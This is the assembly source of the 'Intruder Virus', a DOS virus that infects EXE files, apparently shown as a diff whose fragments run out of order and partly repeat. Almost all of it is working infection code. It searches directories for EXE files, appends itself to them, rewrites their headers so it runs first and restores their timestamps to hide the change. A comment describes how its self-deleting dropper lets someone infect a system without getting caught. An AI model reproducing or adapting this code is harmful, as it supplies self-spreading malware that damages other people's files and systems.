||||
mov ah,1AH
|
||||
int 21H
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET EXEFILE
|
||||
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||
push di ;save position of '\' before '*.EXE'
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,3FH ;search first for any file
|
||||
mov ah,4EH
|
||||
int 21H
|
||||
NEXTEXE:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FEC ;no - quit with C set
|
||||
pop di
|
||||
inc di
|
||||
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET DTA1+1EH
|
||||
call CONCAT ;setup file name '\dir\filename.exe'
|
||||
dec di
|
||||
push di
|
||||
call FILE_OK ;yes - is this a good file to use?
|
||||
jnc FENC ;yes - valid file found - exit with c reset
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTEXE ;and go test it for validity
|
||||
|
||||
FEC: ;no valid file found, return with C set
|
||||
pop di
|
||||
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||
stc
|
||||
ret
|
||||
FENC: ;valid file found, return with NC
|
||||
pop di
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part B - Find a subdirectory
|
||||
;
|
||||
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||
;if not, it returns with NZ set.
|
||||
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||
;NEXTDIR, which does the search next.
|
||||
;
|
||||
FIRSTDIR:
|
||||
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||
push dx ;save it
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,10H ;search for a directory
|
||||
mov ah,4EH ;do search first function
|
||||
int 21H
|
||||
NEXTD1:
|
||||
pop bx ;get pointer to search table (DTA)
|
||||
or al,al ;successful search?
|
||||
jnz NEXTD3 ;no, quit with NZ set
|
||||
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||
jz NEXTDIR ;no, find another
|
||||
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||
;else it was dir header entry, so fall through to next
|
||||
NEXTDIR: ;second entry point for search next
|
||||
call GET_DTA ;get proper DTA address again - may not be set up
|
||||
push dx
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||
|
||||
NEXTD2:
|
||||
xor al,al ;successful exit, set Z flag
|
||||
NEXTD3:
|
||||
ret ;exit routine
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||
;higher level search, and we don't want the higher level being ruined by
|
||||
;corrupted data.
|
||||
;
|
||||
GET_DTA:
|
||||
mov dx,OFFSET DTA2
|
||||
mov al,2BH
|
||||
mul [LEVEL]
|
||||
add dx,ax ;return with dx= proper dta offset
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||
;destination (or the first character of the second string, after moved).
|
||||
;
|
||||
CONCAT:
|
||||
mov al,byte ptr es:[di] ;find the end of string 1
|
||||
inc di
|
||||
or al,al
|
||||
jnz CONCAT
|
||||
dec di ;di points to the null at the end
|
||||
push di ;save it to return to the caller
|
||||
CONCAT2:
|
||||
cld
|
||||
lodsb ;move second string to end of first
|
||||
stosb
|
||||
or al,al
|
||||
jnz CONCAT2
|
||||
pop di ;and restore di to point to end of string 1
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||
;if so return nc, else return c
|
||||
;What makes an EXE file useable?:
|
||||
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||
; are the first two bytes in the file.)
|
||||
; b) The Overlay Number field in the EXE header must be zero.
|
||||
; c) There must be room in the relocatable table for NUMRELS
|
||||
; more relocatables without enlarging it.
|
||||
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||
; the initial CS:0000 of the test file. If it does, the virus
|
||||
; is probably already in that file, so we skip it.
|
||||
;
|
||||
FILE_OK:
|
||||
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||
jc OK_END ;error in reading the file, so quit
|
||||
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||
jc OK_END ;no - exit with c set
|
||||
call REL_ROOM ;is there room in the relocatable table?
|
||||
jc OK_END ;no - exit
|
||||
call IS_ID_THERE ;is id at CS:0000?
|
||||
OK_END: ret ;return with c flag set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||
;number is anything but zero.
|
||||
CHECK_SIG_OVERLAY:
|
||||
mov al,'M' ;check the signature first
|
||||
mov ah,'Z'
|
||||
cmp ax,WORD PTR [EXE_HDR]
|
||||
jz CSO_1 ;jump if OK
|
||||
stc ;else set carry and exit
|
||||
ret
|
||||
CSO_1: xor ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||
ret ;c is set if it's anything but 0
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||
;
|
||||
GET_EXE_HEADER:
|
||||
mov dx,OFFSET USEFILE
|
||||
mov ax,3D02H ;r/w access open file
|
||||
int 21H
|
||||
jc RE_RET ;error opening - C set - quit without closing
|
||||
mov [HANDLE],ax ;else save file handle
|
||||
mov bx,ax ;handle to bx
|
||||
mov cx,1CH ;read 28 byte EXE file header
|
||||
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||
mov ah,3FH
|
||||
int 21H
|
||||
RE_RET: ret ;return with c set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines if there are at least NUMRELS openings in the
|
||||
;current relocatable table in USEFILE. If there are, it returns with
|
||||
;carry reset, otherwise it returns with carry set. The computation
|
||||
;this routine does is to compare whether
|
||||
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||
;
|
||||
REL_ROOM:
|
||||
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||
RR_RET: ret ;exit with carry set properly
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||
;it returns c reset.
|
||||
;
|
||||
IS_ID_THERE:
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||
mov dx,16
|
||||
mul dx
|
||||
mov cx,dx
|
||||
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H
|
||||
mov ah,3FH
|
||||
mov bx,[HANDLE]
|
||||
mov dx,OFFSET VIDC
|
||||
mov cx,2 ;read 2 bytes into VIDC
|
||||
int 21H
|
||||
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||
mov ax,[VIDC]
|
||||
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||
clc
|
||||
jnz II_RET ;if not, then virus is not already in this file
|
||||
stc ;else it is probably there already
|
||||
II_RET: ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||
SETBDY:
|
||||
mov al,BYTE PTR [FSIZE]
|
||||
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||
jz SB_E ;all set - exit
|
||||
mov cx,10H ;no - write any old bytes to even it up
|
||||
sub cl,al ;number of bytes to write in cx
|
||||
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||
adc WORD PTR [FSIZE+2],0
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
SB_E: ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the EXE file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the EXE file header and two relocatables in the program, so that
|
||||
;it will work in the new environment. It also makes sure the virus starts
|
||||
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||
;
|
||||
INFECT:
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H ;go to end of file
|
||||
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||
mov cx,OFFSET FINAL ;last byte of code
|
||||
xor dx,dx ;first byte of code, DS:DX
|
||||
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||
inc bx
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx is that number
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to 1st relocatable
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||
mov bx,[HANDLE] ;from the EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it to relocatable REL1+1
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||
inc bx ;at FSIZE+REL1A+1
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to place to write SP to
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||
mov bx,[HANDLE] ;from EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it where it belongs
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer relavtive to start of file
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||
mov bx,[HANDLE]
|
||||
mov cx,4
|
||||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||
int 21H
|
||||
;done writing relocatable vectors
|
||||
;so now adjust the EXE header values
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to start of file
|
||||
int 21H
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||
shr ax,cl
|
||||
mov bx,WORD PTR [FSIZE+2]
|
||||
and bl,0FH
|
||||
mov cl,4
|
||||
shl bl,cl
|
||||
add ah,bl
|
||||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||
mov bx,OFFSET FINAL ;compute new initial SS
|
||||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add ax,bx
|
||||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||
mov ax,OFFSET VIRUS ;get initial IP
|
||||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||
mov ax,STACKSIZE ;get initial SP
|
||||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||
mov dx,WORD PTR [FSIZE+2]
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||
mov bx,OFFSET FINAL
|
||||
add ax,bx
|
||||
xor bx,bx
|
||||
adc dx,bx ;put it in ax:dx
|
||||
add ax,200H ;and set up the new page count
|
||||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||
pop ax
|
||||
and ax,1FFH ;now calculate last page size
|
||||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||
mov ax,NUMRELS ;adjust relocatables counter
|
||||
add WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,1CH ;and save data at start of file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||
dec ax ;in order to calculate location of
|
||||
dec ax ;where to add relocatables
|
||||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||
mul bx
|
||||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||
mov bx,0
|
||||
adc dx,bx ;dx:ax=end of old table in file
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to table end
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||
mov bx,OFFSET REL1
|
||||
inc bx ;offset of REL1
|
||||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||
mov bx,OFFSET REL2
|
||||
add bx,3 ;offset of REL2
|
||||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||
mov WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,8 ;and then write 8 bytes of data in file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
ret ;that's it, infection is complete!
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine determines whether the reproduction code should be executed.
|
||||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||
;Currently, it only executes if the system time variable is a multiple of
|
||||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||
;executions of the program. TIMECT should be 2^n-1
|
||||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||
;definitely runs when this loader program is run, but after that, the time must
|
||||
;be an even multiple of TIMECT+1.
|
||||
;
|
||||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||
;
|
||||
SHOULDRUN:
|
||||
xor ah,ah ;zero ax to start, set z flag
|
||||
SR1: ret ;this gets replaced by NOP when program runs
|
||||
int 1AH
|
||||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||
ret ;return with z flag set if it is, else nz set
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||
;it is redundant after the initial load
|
||||
SETSR:
|
||||
mov al,90H ;NOP code
|
||||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||
ret ;and return
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||
;the initial DTA in the variable OLDDTA.
|
||||
NEW_DTA:
|
||||
mov ah,2FH ;get current DTA in ES:BX
|
||||
int 21H
|
||||
mov WORD PTR [OLDDTA],bx ;save it here
|
||||
mov ax,es
|
||||
mov WORD PTR [OLDDTA+2],ax
|
||||
mov ax,cs
|
||||
mov es,ax ;set up ES
|
||||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where we want it
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||
;original value.
|
||||
RESTORE_DTA:
|
||||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||
mov ax,WORD PTR [OLDDTA+2]
|
||||
mov ds,ax
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where to put it
|
||||
mov ax,cs ;restore ds before exiting
|
||||
mov ds,ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine saves the original file attribute in FATTR, the file date and
|
||||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||
;file attribute to read/write, and leaves the file opened in read/write
|
||||
;mode (since it has to open the file to get the date and size), with the handle
|
||||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||
SAVE_ATTRIBUTE:
|
||||
mov ah,43H ;get file attr
|
||||
mov al,0
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
mov [FATTR],cl ;save it here
|
||||
mov ah,43H ;now set file attr to r/w
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov al,2 ;now that we know it's r/w
|
||||
mov ah,3DH ;we can r/w access open file
|
||||
int 21H
|
||||
mov [HANDLE],ax ;save file handle here
|
||||
mov ah,57H ;and get the file date and time
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx ;and save it here
|
||||
mov [FDATE],dx ;and here
|
||||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Restore file attribute, and date and time of the file as they were before
|
||||
;it was infected. This also closes the file
|
||||
REST_ATTRIBUTE:
|
||||
mov dx,[FDATE] ;get old date and time
|
||||
mov cx,[FTIME]
|
||||
mov ah,57H ;set file date and time to old value
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE] ;close file
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H ;Set file attr to old value
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
ret
|
||||
|
||||
FINAL: ;last byte of code to be kept in virus
|
||||
|
||||
VSEG ENDS
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Virus stack segment
|
||||
|
||||
VSTACK SEGMENT PARA STACK
|
||||
db STACKSIZE dup (?)
|
||||
VSTACK ENDS
|
||||
|
||||
END VIRUS ;Entry point is the virus
|
||||
@@ -0,0 +1,710 @@
|
||||
;The Intruder Virus is an EXE file infector which can jump from directory to
|
||||
;directory and disk to disk. It attaches itself to the end of a file and
|
||||
;modifies the EXE file header so that it gets control first, before the host
|
||||
;program. When it is done doing its job, it passes control to the host program,
|
||||
;so that the host executes without a hint that the virus is there.
|
||||
|
||||
|
||||
.SEQ ;segments must appear in sequential order
|
||||
;to simulate conditions in actual active virus
|
||||
|
||||
|
||||
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||
|
||||
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||
;attaches itself to another EXE file. As such, the host program for this
|
||||
;installer simply tries to delete itself off of disk and terminates. That is
|
||||
;worthwhile if you want to infect a system with the virus without getting
|
||||
;caught. Just execute the program that infects, and it disappears without a
|
||||
;trace. You might want to name the program something more innocuous, though.
|
||||
|
||||
HOSTSEG SEGMENT BYTE
|
||||
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||
|
||||
PGMSTR DB 'INTRUDER.EXE',0
|
||||
|
||||
HOST:
|
||||
mov ax,cs ;we want DS=CS here
|
||||
mov ds,ax
|
||||
mov dx,OFFSET PGMSTR
|
||||
mov ah,41H
|
||||
int 21H ;delete this exe file
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally
|
||||
HOSTSEG ENDS
|
||||
|
||||
|
||||
;Host program stack segment
|
||||
|
||||
HSTACK SEGMENT PARA STACK
|
||||
db 100H dup (?) ;100 bytes long
|
||||
HSTACK ENDS
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;This is the virus itself
|
||||
|
||||
STACKSIZE EQU 100H ;size of stack for the virus
|
||||
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||
|
||||
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||
|
||||
;Intruder Virus code segment. This gains control first, before the host. As this
|
||||
;ASM file is layed out, this program will look exactly like a simple program
|
||||
;that was infected by the virus.
|
||||
|
||||
VSEG SEGMENT PARA
|
||||
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||
|
||||
;data storage area comes before any code
|
||||
VIRUSID DW 0C8AAH ;identifies virus
|
||||
OLDDTA DD 0 ;old DTA segment and offset
|
||||
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||
ALLFILE DB '\*.*',0 ;search string for any file
|
||||
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||
LEVEL DB 0 ;depth to search directories for a file
|
||||
HANDLE DW 0 ;file handle
|
||||
FATTR DB 0 ;old file attribute storage area
|
||||
FTIME DW 0 ;old file time stamp storage area
|
||||
FDATE DW 0 ;old file date stamp storage area
|
||||
FSIZE DD 0 ;file size storage area
|
||||
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||
VCODE DB 1 ;identifies this version
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Intruder virus main routine starts here
|
||||
VIRUS:
|
||||
push ax ;save startup info in ax
|
||||
mov ax,cs
|
||||
mov ds,ax ;set up DS=CS for the virus
|
||||
mov ax,es ;get PSP Seg
|
||||
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||
jnz REL1 ;conditions aren't met, go execute host program
|
||||
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||
call NEW_DTA ;set up a new DTA location
|
||||
call FIND_FILE ;get an exe file to attack
|
||||
jnz FINISH ;returned nz - no valid file, exit
|
||||
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||
call INFECT ;move program code to file we found to attack
|
||||
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||
pop ax ;restore startup value of ax
|
||||
REL1: ;relocatable marker for host stack segment
|
||||
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||
cli ;interrupts off while changing stack
|
||||
mov ss,bx
|
||||
REL1A: ;marker for host stack pointer
|
||||
mov sp,OFFSET HSTACK
|
||||
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||
sti ;interrupts back on
|
||||
REL2: ;relocatable marker for host code segment
|
||||
jmp FAR PTR HOST ;begin execution of host program
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;First Level - Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a complex directory search to find an EXE file in the
|
||||
;current directory, one of its subdirectories, or the root directory or one
|
||||
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||
;If you want to change the depth of the search, make sure to allocate enough
|
||||
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||
;functions 4EH and 4FH) on each level.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov al,'\' ;set up current directory path in USEFILE
|
||||
mov BYTE PTR [USEFILE],al
|
||||
mov si,OFFSET USEFILE+1
|
||||
xor dl,dl
|
||||
mov ah,47H
|
||||
int 21H ;get current dir, USEFILE= \dir
|
||||
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||
jnz FF2 ;not the root
|
||||
xor al,al ;make correction for root directory,
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||
FF2: mov al,2
|
||||
mov [LEVEL],al ;search 2 subdirs deep
|
||||
call FINDBR ;attempt to locate a valid file
|
||||
jz FF3 ;found one - exit
|
||||
xor al,al ;nope - try the root directory
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||
inc al ;al=1
|
||||
mov [LEVEL],al ;search one subdir deep
|
||||
call FINDBR ;attempt to find file
|
||||
FF3:
|
||||
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Second Level - Find in a branch
|
||||
;
|
||||
;This function searches the directory specified in USEFILE for EXE files.
|
||||
;after searching the specified directory, it searches subdirectories to the
|
||||
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||
;routine exits with Z set and leaves the file and path in USEFILE
|
||||
;
|
||||
FINDBR:
|
||||
call FINDEXE ;search current dir for EXE first
|
||||
jnc FBE3 ;found it - exit
|
||||
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||
jz FBE1 ;no - exit
|
||||
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||
inc di
|
||||
push di ;store pointer to first *
|
||||
call FIRSTDIR ;get first subdirectory
|
||||
jnz FBE ;couldn't find it, so quit
|
||||
FB1: ;otherwise, check it out
|
||||
pop di ;strip \*.* off of USEFILE
|
||||
xor al,al
|
||||
stosb
|
||||
mov di,OFFSET USEFILE
|
||||
mov bx,OFFSET DTA2+1EH
|
||||
mov al,[LEVEL]
|
||||
mov dl,2BH ;compute correct DTA location for subdir name
|
||||
mul dl ;which depends on the depth we're at in the search
|
||||
add bx,ax ;bx points to directory name
|
||||
mov si,bx
|
||||
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||
push di ;save position of first letter in sub_dir name
|
||||
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||
jz FBE2 ;if successful, exit
|
||||
call NEXTDIR ;get next subdirectory in this directory
|
||||
jz FB1 ;go check it if search successful
|
||||
FBE: ;else exit, NZ set, cleaned up
|
||||
inc [LEVEL] ;increment the level counter before exit
|
||||
pop di ;strip any path or file spec off of original
|
||||
xor al,al ;directory path
|
||||
stosb
|
||||
FBE1: mov al,1 ;return with NZ set
|
||||
or al,al
|
||||
ret
|
||||
|
||||
FBE2: pop di ;successful exit, pull this off the stack
|
||||
FBE3: xor al,al ;and set Z
|
||||
ret ;exit
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part A - Find an EXE file
|
||||
;
|
||||
;This function searches the path in USEFILE for an EXE file which passes
|
||||
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||
;with the c flag set. It will search a whole directory before giving up.
|
||||
;
|
||||
FINDEXE:
|
||||
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||
mov ah,1AH
|
||||
int 21H
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET EXEFILE
|
||||
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||
push di ;save position of '\' before '*.EXE'
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,3FH ;search first for any file
|
||||
mov ah,4EH
|
||||
int 21H
|
||||
NEXTEXE:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FEC ;no - quit with C set
|
||||
pop di
|
||||
inc di
|
||||
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||
mov di,OFFSET USEFILE
|
||||
